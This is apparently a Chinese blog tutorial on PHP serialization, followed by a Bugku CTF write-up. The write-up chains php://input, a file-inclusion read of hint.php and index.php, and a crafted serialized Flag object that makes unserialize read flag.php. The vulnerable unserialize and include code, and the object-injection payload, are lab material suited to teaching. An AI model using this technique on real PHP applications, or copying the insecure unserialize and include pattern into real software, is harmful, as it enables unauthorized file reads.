序列化
在PHP中,序列化用于存储或传递 PHP 的值(比如数组或者类的值)的过程中,同时不丢失其类型和结构。大概就是将数组和类的值转换成字符串来传值。
序列化
- serialize ( mixed $value )
反序列化
- unserialize ( mixed $value )
序列化例子
类的序列化
class test
{
var $name;
var $age;
function __construct($name,$age)
{
$this -> name = $name;
$this -> age = $age;
}
}
$test1 = new test('lmt','3');
echo "before serialize<br>";
var_dump($test1);
echo "<br> after serialize <br>";
var_dump(serialize($test1));
输出结果
O:4:”test”:2:{s:4:”name”;s:3:”lmt”;s:3:”age”;s:1:”3”;}
O:4:”test”:2:表示,序列化的是一个类(object),类名的长度为4,类中有两个变量名
序列化相关的题
welcome to the bugku
http://123.206.87.240:8006/test1/
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset( $user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf"))
{
echo "hello admin!<br>";
include($file); //hint.php
}
else
{
echo "you are not admin ! ";
}
很显然想让我们利用源码去得到flag。
开始有三个变量:user,file,pass,但是我们发现这里的pass也就是password没有什么用,所以我们重点关注前两个变量。看下面的条件
(1)这里isset的意思是查看变量是否存在,即user不能为空。
(2)file_get_contents是把整个文件读入字符串中,这里也就是把user这个变量(user显然要是一个文件)的内容以字符串的方式读出来并且要和“welcome to the bugkuctf”完全相等(类型,内容)。
- file_get_contents($user,’r’)
(3)后面提示了我们所以我们要在满足条件之后读取file=hint.php。 - include($file); //hint.php
这里就要使用php伪协议了。这道题目为了解决第二个条件,要用到 “php://input”协议。
然后我们在文件包含出hint.PHP
解码:
#hint.php
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
利用伪协议包含出index.php
#index.php
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
indep.php中 preg_match(“/flag/“,$file) 不能直接包含出flag.php
但是hint.php里有 class Flag{//flag.php
以及
include($file);
$password = unserialize($password);
echo $password;
所以这里file参数须是hint.php,因为只有在hint.php中才会包含类Flag
然后我们构造password把参数传进hint.php
<?php
class Flag{
public $file;
}
$a = new Flag();
$a->file = "flag.php";
$a = serialize($a);
print_r($a);
?>
输出
- O:4:”Flag”:1:{s:4:”file”;s:8:”flag.php”;}